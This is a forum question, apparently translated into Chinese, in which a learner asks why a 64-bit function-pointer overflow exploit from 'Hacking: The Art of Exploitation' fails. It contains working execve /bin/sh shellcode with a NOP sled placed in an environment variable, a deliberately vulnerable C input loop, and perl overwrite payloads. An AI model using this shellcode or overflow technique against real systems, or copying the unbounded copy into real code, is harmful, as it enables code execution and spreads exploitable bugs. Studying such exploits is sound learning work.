尝试使用环境变量

时间:2016-11-11 22:28:28

标签: c overflow exploit

我在64位架构上。 我试图在环境变量中使用SHELLCODE来利用缓冲区溢出。

export SHELLCODE=$(perl -e 'print "\x90"x200 .  "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"')

我使用getenv()

获取变量的环境地址
printf("%s is at %p\n", argv[1], getenv(argv[1]));

给我

  

0x7fffffffe2c5

这是我在C

中的代码
struct user
{
  int uid;
  int credits;
  int highscore;
  char name[100];
  int (*current_game) ();
};

void function()
{
  printf("inside function\n");
}

void function_2()
{
  printf("inside function2\n");
}
void input_name()
{
  char *name_ptr, input_char='\n';

  player.current_game = &function;
  while(input_char == '\n')
    scanf("%c", &input_char);

  name_ptr = (char *) &(player.name);
  while(input_char != '\n')
    {
      *name_ptr = input_char;
      scanf("%c", &input_char);
      name_ptr++;
    }
  *name_ptr = 0;
  player.current_game();
}

我发现名称[100]和(* current_game)()之间的字节差异使用了GDB。

(gdb) print player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0x0}
(gdb) print &player.name
$2 = (char (*)[100]) 0x6030ec <player+12>
(gdb) print &player.current_game
$3 = (int (**)()) 0x603150 <player+112>
(gdb) print (0x603150 - 0x6030ec)
$5 = 100

字节差异为100。

现在的问题是,当我试图用&#34;内部&#34;覆盖(* current_game)()时,它的工作正常。函数的地址但不包含环境变量的地址。例如,Function_2()。

nm ./a.out

  

000000000040110e T function_2()

所以我用这种方式覆盖(* current_game)

perl -e 'print "A" x 100. "\x0e\x11\40"' | ./a.out

输出:

inside function2

所以它有效。但是,当我尝试使用环境变量进行覆盖时,它无法正常工作。 正如我向您展示的那样。我的env变量存储在

0x7fffffffe2c5

所以当我以这种方式覆盖时

perl -e 'print "A" x 100. "\xc5\xe2\xff\xff\xff\x7f"' | ./a.out

当我显示*(current_game)()gdb的值时,哪个不起作用。

0xffffe2c5
  • 为什么缺少2个字节? (\ XFF \ 0x7F部分)
  • 为什么它适用于&#34;内部&#34;功能但没有env变量?
  • 如何写整个地址(0x7fffffffe2c5而不是0xffffe2c5)
  • 当然,我该如何解决这个问题。

感谢。

注意:我在这里提到的例子是书中的代码snipet&#34;剥削的艺术第二&#34;由Jon Erickson撰写。但是我修改了一点代码,因为原来的代码非常庞大。它会避免你阅读很多代码。我原来的帖子足够长lol。

0 个答案:

没有答案